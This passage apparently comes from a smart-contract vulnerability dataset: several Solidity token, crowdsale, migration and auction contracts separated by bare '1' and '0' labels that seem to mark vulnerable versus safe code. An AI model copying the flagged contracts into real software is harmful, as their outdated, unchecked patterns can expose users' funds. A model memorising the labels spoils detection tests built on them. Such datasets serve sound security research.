event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract Blockbid is ERC20, ERC20Detailed, ERC20Burnable, ERC20Pausable { uint private INITIAL_SUPPLY = 108178000e2; constructor () ERC20Burnable() ERC20Detailed("Blockbid", "BID", 2) ERC20() public { _mint(msg.sender, INITIAL_SUPPLY); } }
1
pragma solidity ^0.4.0; contract owned { address public owner; address public newOwner; function owned() payable { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender); owner = newOwner; delete newOwner; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ManualMigration is owned, ERC20 { uint public freezedMoment; address public original; modifier enabled { require(original == 0); _; } struct SpecialTokenHolder { uint limit; bool isTeam; } mapping (address => SpecialTokenHolder) public specials; struct TokenHolder { uint balance; uint balanceBeforeUpdate; uint balanceUpdateTime; } mapping (address => TokenHolder) public holders; function ManualMigration(address _original) payable owned() { original = _original; totalSupply = ERC20(original).totalSupply(); holders[this].balance = ERC20(original).balanceOf(original); holders[original].balance = totalSupply - holders[this].balance; Transfer(this, original, holders[original].balance); } function migrateManual(address _who, bool _isTeam) onlyOwner { require(original != 0); require(holders[_who].balance == 0); uint balance = ERC20(original).balanceOf(_who); holders[_who].balance = balance; specials[_who] = SpecialTokenHolder({limit: balance, isTeam:_isTeam}); holders[original].balance -= balance; Transfer(original, _who, balance); } function sealManualMigration(bool force) onlyOwner { require(force || holders[original].balance == 0); delete original; } function beforeBalanceChanges(address _who) internal { if (holders[_who].balanceUpdateTime <= freezedMoment) { holders[_who].balanceUpdateTime = now; holders[_who].balanceBeforeUpdate = holders[_who].balance; } } } contract Crowdsale is ManualMigration { function Crowdsale(address _original) payable ManualMigration(_original) {} function () payable enabled { require(holders[this].balance > 0); uint256 tokens = 5000 * msg.value / 1000000000000000000; if (tokens > holders[this].balance) { tokens = holders[this].balance; uint valueWei = tokens * 1000000000000000000 / 5000; msg.sender.transfer(msg.value - valueWei); } require(holders[msg.sender].balance + tokens > holders[msg.sender].balance); require(tokens > 0); beforeBalanceChanges(msg.sender); beforeBalanceChanges(this); holders[msg.sender].balance += tokens; specials[msg.sender].limit += tokens; holders[this].balance -= tokens; Transfer(this, msg.sender, tokens); } } contract Token is Crowdsale { string public standard = 'Token 0.1'; string public name = 'NeuroDAO'; string public symbol = "NDAO"; uint8 public decimals = 0; uint public startTime; mapping (address => mapping (address => uint256)) public allowed; event Burned(address indexed owner, uint256 value); function Token(address _original, uint _startTime) payable Crowdsale(_original) { startTime = _startTime; } function availableTokens(address _who) public constant returns (uint _avail) { _avail = holders[_who].balance; uint limit = specials[_who].limit; if (limit != 0) { uint blocked; uint periods = firstYearPeriods(); if (specials[_who].isTeam) { if (periods != 0) { blocked = limit * (500 - periods) / 500; } else { periods = (now - startTime) / 1 years; ++periods; if (periods < 5) { blocked = limit * (100 - periods * 20) / 100; } } } else { if (periods != 0) { blocked = limit * (100 - periods) / 100; } } _avail -= blocked; } } function firstYearPeriods() internal constant returns (uint _periods) { _periods = 0; if (now < startTime + 1 years) { uint8[12] memory logic = [1, 2, 3, 4, 4, 4, 5, 6, 7, 8, 9, 10]; _periods = logic[(now - startTime) / 28 days]; } } function balanceOf(address _who) constant public returns (uint) { return holders[_who].balance; } function transfer(address _to, uint256 _value) public enabled { require(availableTokens(msg.sender) >= _value); require(holders[_to].balance + _value >= holders[_to].balance); beforeBalanceChanges(msg.sender); beforeBalanceChanges(_to); holders[msg.sender].balance -= _value; holders[_to].balance += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public enabled { require(availableTokens(_from) >= _value); require(holders[_to].balance + _value >= holders[_to].balance); require(allowed[_from][msg.sender] >= _value); beforeBalanceChanges(_from); beforeBalanceChanges(_to); holders[_from].balance -= _value; holders[_to].balance += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function burn(uint256 _value) public enabled { require(holders[msg.sender].balance >= _value); beforeBalanceChanges(msg.sender); holders[msg.sender].balance -= _value; totalSupply -= _value; Burned(msg.sender, _value); } } contract MigrationAgent { function migrateFrom(address _from, uint256 _value); } contract TokenMigration is Token { address public migrationAgent; uint256 public totalMigrated; event Migrate(address indexed from, address indexed to, uint256 value); function TokenMigration(address _original, uint _startTime) payable Token(_original, _startTime) {} function migrate() external { require(migrationAgent != 0); uint value = holders[msg.sender].balance; require(value != 0); beforeBalanceChanges(msg.sender); beforeBalanceChanges(this); holders[msg.sender].balance -= value; holders[this].balance += value; totalMigrated += value; MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Transfer(msg.sender, this, value); Migrate(msg.sender, migrationAgent, value); } function setMigrationAgent(address _agent) external onlyOwner enabled { require(migrationAgent == 0); migrationAgent = _agent; } } contract NeuroDAO is TokenMigration { function NeuroDAO(address _original, uint _startTime) payable TokenMigration(_original, _startTime) {} function withdraw() public onlyOwner { owner.transfer(this.balance); } function freezeTheMoment() public onlyOwner { freezedMoment = now; } function freezedBalanceOf(address _who) constant public returns(uint) { if (holders[_who].balanceUpdateTime <= freezedMoment) { return holders[_who].balance; } else { return holders[_who].balanceBeforeUpdate; } } function killMe() public onlyOwner { require(totalSupply == 0); selfdestruct(owner); } } contract Adapter is owned { address public neuroDAO; address public erc20contract; address public masterHolder; mapping (address => bool) public alreadyUsed; function Adapter(address _neuroDAO, address _erc20contract, address _masterHolder) payable owned() { neuroDAO = _neuroDAO; erc20contract = _erc20contract; masterHolder = _masterHolder; } function killMe() public onlyOwner { selfdestruct(owner); } function giveMeTokens() public { require(!alreadyUsed[msg.sender]); uint balance = NeuroDAO(neuroDAO).freezedBalanceOf(msg.sender); ERC20(erc20contract).transferFrom(masterHolder, msg.sender, balance); alreadyUsed[msg.sender] = true; } }
0
pragma solidity ^0.4.24; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } contract Ownable is Initializable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function initialize(address sender) public initializer { _owner = sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) { uint256 prevBalance = _token.balanceOf(address(this)); require(prevBalance >= _value, "Insufficient funds"); _token.transfer(_to, _value); require(prevBalance - _value == _token.balanceOf(address(this)), "Transfer failed"); return true; } function safeTransferFrom( IERC20 _token, address _from, address _to, uint256 _value ) internal returns (bool) { uint256 prevBalance = _token.balanceOf(_from); require(prevBalance >= _value, "Insufficient funds"); require(_token.allowance(_from, address(this)) >= _value, "Insufficient allowance"); _token.transferFrom(_from, _to, _value); require(prevBalance - _value == _token.balanceOf(_from), "Transfer failed"); return true; } function safeApprove(IERC20 _token, address _spender, uint256 _value) internal returns (bool) { bool success = address(_token).call(abi.encodeWithSelector( _token.approve.selector, _spender, _value )); if (!success) { return false; } require(_token.allowance(address(this), _spender) == _value, "Approve failed"); return true; } function clearApprove(IERC20 _token, address _spender) internal returns (bool) { bool success = safeApprove(_token, _spender, 0); if (!success) { return safeApprove(_token, _spender, 1); } return true; } } contract ITokenConverter { using SafeMath for uint256; function convert( IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount, uint256 _destAmount ) external returns (uint256); function getExpectedRate(IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount) public view returns(uint256 expectedRate, uint256 slippageRate); } contract ERC20 is IERC20 { function burn(uint256 _value) public; } contract LANDRegistry { function assignMultipleParcels(int[] x, int[] y, address beneficiary) external; } contract LANDAuctionStorage { uint256 constant public PERCENTAGE_OF_TOKEN_BALANCE = 5; uint256 constant public MAX_DECIMALS = 18; enum Status { created, finished } struct Func { uint256 slope; uint256 base; uint256 limit; } struct Token { uint256 decimals; bool shouldBurnTokens; bool shouldForwardTokens; address forwardTarget; bool isAllowed; } uint256 public conversionFee = 105; uint256 public totalBids = 0; Status public status; uint256 public gasPriceLimit; uint256 public landsLimitPerBid; ERC20 public manaToken; LANDRegistry public landRegistry; ITokenConverter public dex; mapping (address => Token) public tokensAllowed; uint256 public totalManaBurned = 0; uint256 public totalLandsBidded = 0; uint256 public startTime; uint256 public endTime; Func[] internal curves; uint256 internal initialPrice; uint256 internal endPrice; uint256 internal duration; event AuctionCreated( address indexed _caller, uint256 _startTime, uint256 _duration, uint256 _initialPrice, uint256 _endPrice ); event BidConversion( uint256 _bidId, address indexed _token, uint256 _requiredManaAmountToBurn, uint256 _amountOfTokenConverted, uint256 _requiredTokenBalance ); event BidSuccessful( uint256 _bidId, address indexed _beneficiary, address indexed _token, uint256 _pricePerLandInMana, uint256 _manaAmountToBurn, int[] _xs, int[] _ys ); event AuctionFinished( address indexed _caller, uint256 _time, uint256 _pricePerLandInMana ); event TokenBurned( uint256 _bidId, address indexed _token, uint256 _total ); event TokenTransferred( uint256 _bidId, address indexed _token, address indexed _to, uint256 _total ); event LandsLimitPerBidChanged( address indexed _caller, uint256 _oldLandsLimitPerBid, uint256 _landsLimitPerBid ); event GasPriceLimitChanged( address indexed _caller, uint256 _oldGasPriceLimit, uint256 _gasPriceLimit ); event DexChanged( address indexed _caller, address indexed _oldDex, address indexed _dex ); event TokenAllowed( address indexed _caller, address indexed _address, uint256 _decimals, bool _shouldBurnTokens, bool _shouldForwardTokens, address indexed _forwardTarget ); event TokenDisabled( address indexed _caller, address indexed _address ); event ConversionFeeChanged( address indexed _caller, uint256 _oldConversionFee, uint256 _conversionFee ); } contract LANDAuction is Ownable, LANDAuctionStorage { using SafeMath for uint256; using Address for address; using SafeERC20 for ERC20; constructor( uint256[] _xPoints, uint256[] _yPoints, uint256 _startTime, uint256 _landsLimitPerBid, uint256 _gasPriceLimit, ERC20 _manaToken, LANDRegistry _landRegistry, address _dex ) public { require( PERCENTAGE_OF_TOKEN_BALANCE == 5, "Balance of tokens required should be equal to 5%" ); Ownable.initialize(msg.sender); require(_startTime > block.timestamp, "Started time should be after now"); startTime = _startTime; require( address(_landRegistry).isContract(), "The LANDRegistry token address must be a deployed contract" ); landRegistry = _landRegistry; setDex(_dex); allowToken( address(_manaToken), 18, true, false, address(0) ); manaToken = _manaToken; duration = _xPoints[_xPoints.length - 1]; require(duration > 1 days, "The duration should be greater than 1 day"); _setCurve(_xPoints, _yPoints); setLandsLimitPerBid(_landsLimitPerBid); setGasPriceLimit(_gasPriceLimit); status = Status.created; emit AuctionCreated( msg.sender, startTime, duration, initialPrice, endPrice ); } function bid( int[] _xs, int[] _ys, address _beneficiary, ERC20 _fromToken ) external { _validateBidParameters( _xs, _ys, _beneficiary, _fromToken ); uint256 bidId = _getBidId(); uint256 bidPriceInMana = _xs.length.mul(getCurrentPrice()); uint256 manaAmountToBurn = bidPriceInMana; if (address(_fromToken) != address(manaToken)) { require( address(dex).isContract(), "Paying with other tokens has been disabled" ); manaAmountToBurn = _convertSafe(bidId, _fromToken, bidPriceInMana); } else { require( _fromToken.safeTransferFrom(msg.sender, address(this), bidPriceInMana), "Insuficient balance or unauthorized amount (transferFrom failed)" ); } _processFunds(bidId, _fromToken); landRegistry.assignMultipleParcels(_xs, _ys, _beneficiary); emit BidSuccessful( bidId, _beneficiary, _fromToken, getCurrentPrice(), manaAmountToBurn, _xs, _ys ); _updateStats(_xs.length, manaAmountToBurn); } function _validateBidParameters( int[] _xs, int[] _ys, address _beneficiary, ERC20 _fromToken ) internal view { require(startTime <= block.timestamp, "The auction has not started"); require( status == Status.created && block.timestamp.sub(startTime) <= duration, "The auction has finished" ); require(tx.gasprice <= gasPriceLimit, "Gas price limit exceeded"); require(_beneficiary != address(0), "The beneficiary could not be the 0 address"); require(_xs.length > 0, "You should bid for at least one LAND"); require(_xs.length <= landsLimitPerBid, "LAND limit exceeded"); require(_xs.length == _ys.length, "X values length should be equal to Y values length"); require(tokensAllowed[address(_fromToken)].isAllowed, "Token not allowed"); for (uint256 i = 0; i < _xs.length; i++) { require( -150 <= _xs[i] && _xs[i] <= 150 && -150 <= _ys[i] && _ys[i] <= 150, "The coordinates should be inside bounds -150 & 150" ); } } function getCurrentPrice() public view returns (uint256) { if (startTime == 0 || startTime >= block.timestamp) { return initialPrice; } uint256 timePassed = block.timestamp - startTime; if (timePassed >= duration) { return endPrice; } return _getPrice(timePassed); } function _convertSafe( uint256 _bidId, ERC20 _fromToken, uint256 _bidPriceInMana ) internal returns (uint256 requiredManaAmountToBurn) { requiredManaAmountToBurn = _bidPriceInMana; Token memory fromToken = tokensAllowed[address(_fromToken)]; uint256 bidPriceInManaPlusSafetyMargin = _bidPriceInMana.mul(conversionFee).div(100); uint256 tokenRate = getRate(manaToken, _fromToken, bidPriceInManaPlusSafetyMargin); uint256 requiredTokenBalance = 0; if (fromToken.shouldBurnTokens || fromToken.shouldForwardTokens) { requiredTokenBalance = _calculateRequiredTokenBalance(requiredManaAmountToBurn, tokenRate); requiredManaAmountToBurn = _calculateRequiredManaAmount(_bidPriceInMana); } uint256 tokensToConvertPlusSafetyMargin = bidPriceInManaPlusSafetyMargin .mul(tokenRate) .div(10 ** 18); if (MAX_DECIMALS > fromToken.decimals) { requiredTokenBalance = _normalizeDecimals( fromToken.decimals, requiredTokenBalance ); tokensToConvertPlusSafetyMargin = _normalizeDecimals( fromToken.decimals, tokensToConvertPlusSafetyMargin ); } require( _fromToken.safeTransferFrom(msg.sender, address(this), tokensToConvertPlusSafetyMargin), "Transfering the totalPrice in token to LANDAuction contract failed" ); uint256 finalTokensToConvert = tokensToConvertPlusSafetyMargin.sub(requiredTokenBalance); require(_fromToken.safeApprove(address(dex), finalTokensToConvert), "Error approve"); uint256 change = dex.convert( _fromToken, manaToken, finalTokensToConvert, requiredManaAmountToBurn ); if (change > 0) { require( _fromToken.safeTransfer(msg.sender, change), "Transfering the change to sender failed" ); } require(_fromToken.clearApprove(address(dex)), "Error remove approval"); emit BidConversion( _bidId, address(_fromToken), requiredManaAmountToBurn, tokensToConvertPlusSafetyMargin.sub(change), requiredTokenBalance ); } function getRate( IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount ) public view returns (uint256 rate) { (rate,) = dex.getExpectedRate(_srcToken, _destToken, _srcAmount); } function _calculateRequiredTokenBalance( uint256 _totalPrice, uint256 _tokenRate ) internal pure returns (uint256) { return _totalPrice.mul(_tokenRate) .div(10 ** 18) .mul(PERCENTAGE_OF_TOKEN_BALANCE) .div(100); } function _calculateRequiredManaAmount( uint256 _totalPrice ) internal pure returns (uint256) { return _totalPrice.mul(100 - PERCENTAGE_OF_TOKEN_BALANCE).div(100); } function _processFunds(uint256 _bidId, ERC20 _token) internal { _burnTokens(_bidId, manaToken); Token memory token = tokensAllowed[address(_token)]; if (_token != manaToken) { if (token.shouldBurnTokens) { _burnTokens(_bidId, _token); } if (token.shouldForwardTokens) { _forwardTokens(_bidId, token.forwardTarget, _token); } } } function _getPrice(uint256 _time) internal view returns (uint256) { for (uint256 i = 0; i < curves.length; i++) { Func storage func = curves[i]; if (_time < func.limit) { return func.base.sub(func.slope.mul(_time)); } } revert("Invalid time"); } function _burnTokens(uint256 _bidId, ERC20 _token) private { uint256 balance = _token.balanceOf(address(this)); require(balance > 0, "Balance to burn should be > 0"); _token.burn(balance); emit TokenBurned(_bidId, address(_token), balance); balance = _token.balanceOf(address(this)); require(balance == 0, "Burn token failed"); } function _forwardTokens(uint256 _bidId, address _address, ERC20 _token) private { uint256 balance = _token.balanceOf(address(this)); require(balance > 0, "Balance to burn should be > 0"); _token.safeTransfer(_address, balance); emit TokenTransferred( _bidId, address(_token), _address,balance ); balance = _token.balanceOf(address(this)); require(balance == 0, "Transfer token failed"); } function setConversionFee(uint256 _fee) external onlyOwner { require(_fee < 200 && _fee >= 100, "Conversion fee should be >= 100 and < 200"); emit ConversionFeeChanged(msg.sender, conversionFee, _fee); conversionFee = _fee; } function finishAuction() public onlyOwner { require(status != Status.finished, "The auction is finished"); uint256 currentPrice = getCurrentPrice(); status = Status.finished; endTime = block.timestamp; emit AuctionFinished(msg.sender, block.timestamp, currentPrice); } function setLandsLimitPerBid(uint256 _landsLimitPerBid) public onlyOwner { require(_landsLimitPerBid > 0, "The LAND limit should be greater than 0"); emit LandsLimitPerBidChanged(msg.sender, landsLimitPerBid, _landsLimitPerBid); landsLimitPerBid = _landsLimitPerBid; } function setGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner { require(_gasPriceLimit > 0, "The gas price should be greater than 0"); emit GasPriceLimitChanged(msg.sender, gasPriceLimit, _gasPriceLimit); gasPriceLimit = _gasPriceLimit; } function setDex(address _dex) public onlyOwner { require(_dex != address(dex), "The dex is the current"); if (_dex != address(0)) { require(_dex.isContract(), "The dex address must be a deployed contract"); } emit DexChanged(msg.sender, dex, _dex); dex = ITokenConverter(_dex); } function allowToken( address _address, uint256 _decimals, bool _shouldBurnTokens, bool _shouldForwardTokens, address _forwardTarget ) public onlyOwner { require( _address.isContract(), "Tokens allowed should be a deployed ERC20 contract" ); require( _decimals > 0 && _decimals <= MAX_DECIMALS, "Decimals should be greather than 0 and less or equal to 18" ); require( !(_shouldBurnTokens && _shouldForwardTokens), "The token should be either burned or transferred" ); require( !_shouldForwardTokens || (_shouldForwardTokens && _forwardTarget != address(0)), "The token should be transferred to a deployed contract" ); require( _forwardTarget != address(this) && _forwardTarget != _address, "The forward target should be different from this contract and the erc20 token" ); require(!tokensAllowed[_address].isAllowed, "The ERC20 token is already allowed"); tokensAllowed[_address] = Token({ decimals: _decimals, shouldBurnTokens: _shouldBurnTokens, shouldForwardTokens: _shouldForwardTokens, forwardTarget: _forwardTarget, isAllowed: true }); emit TokenAllowed( msg.sender, _address, _decimals, _shouldBurnTokens, _shouldForwardTokens, _forwardTarget ); } function disableToken(address _address) public onlyOwner { require( tokensAllowed[_address].isAllowed, "The ERC20 token is already disabled" ); delete tokensAllowed[_address]; emit TokenDisabled(msg.sender, _address); } function _setCurve(uint256[] _xPoints, uint256[] _yPoints) internal { uint256 pointsLength = _xPoints.length; require(pointsLength == _yPoints.length, "Points should have the same length"); for (uint256 i = 0; i < pointsLength - 1; i++) { uint256 x1 = _xPoints[i]; uint256 x2 = _xPoints[i + 1]; uint256 y1 = _yPoints[i]; uint256 y2 = _yPoints[i + 1]; require(x1 < x2, "X points should increase"); require(y1 > y2, "Y points should decrease"); (uint256 base, uint256 slope) = _getFunc( x1, x2, y1, y2 ); curves.push(Func({ base: base, slope: slope, limit: x2 })); } initialPrice = _yPoints[0]; endPrice = _yPoints[pointsLength - 1]; } function _getFunc( uint256 _x1, uint256 _x2, uint256 _y1, uint256 _y2 ) internal pure returns (uint256 base, uint256 slope) { base = ((_x2.mul(_y1)).sub(_x1.mul(_y2))).div(_x2.sub(_x1)); slope = (_y1.sub(_y2)).div(_x2.sub(_x1)); } function _getBidId() private view returns (uint256) { return totalBids; } function _normalizeDecimals( uint256 _decimals, uint256 _value ) internal pure returns (uint256 _result) { _result = _value.div(10**MAX_DECIMALS.sub(_decimals)); } function _updateStats(uint256 _landsBidded, uint256 _manaAmountBurned) private { totalBids = totalBids.add(1); totalLandsBidded = totalLandsBidded.add(_landsBidded); totalManaBurned = totalManaBurned.add(_manaAmountBurned); } }
0
pragma solidity ^0.4.11; contract ERC20 { function transfer(address _to, uint256 _amount) returns (bool success); function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); function approve(address _spender, uint256 _amount) returns (bool success); function allowance(address _owner, address _spender ) constant returns (uint256 remaining); function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success); function totalSupply() constant returns (uint); } contract TokenController { function proxyPayment(address _owner) payable returns(bool); function onTransfer(address _from, address _to, uint _amount) returns(bool); function onApprove(address _owner, address _spender, uint _amount) returns(bool); } contract Controlled { modifier onlyController { if (msg.sender != controller) throw; _; } address public controller; function Controlled() { controller = msg.sender;} function changeController(address _newController) onlyController { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } contract MiniMeToken is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.1'; struct Checkpoint { uint128 fromBlock; uint128 value; } MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; return doTransfer(msg.sender, _to, _amount); } function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success) { if (msg.sender != controller) { if (!transfersEnabled) throw; if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } if (parentSnapShotBlock >= block.number) throw; if ((_to == 0) || (_to == address(this))) throw; var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); if (previousBalanceTo + _amount < previousBalanceTo) throw; updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw; if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) throw; } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { if (!approve(_spender, _amount)) throw; ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, block.number); if (curTotalSupply + _amount < curTotalSupply) throw; updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); var previousBalanceTo = balanceOf(_owner); if (previousBalanceTo + _amount < previousBalanceTo) throw; updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, block.number); if (curTotalSupply < _amount) throw; updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); var previousBalanceFrom = balanceOf(_owner); if (previousBalanceFrom < _amount) throw; updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } function () payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender)) throw; } else { throw; } } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { 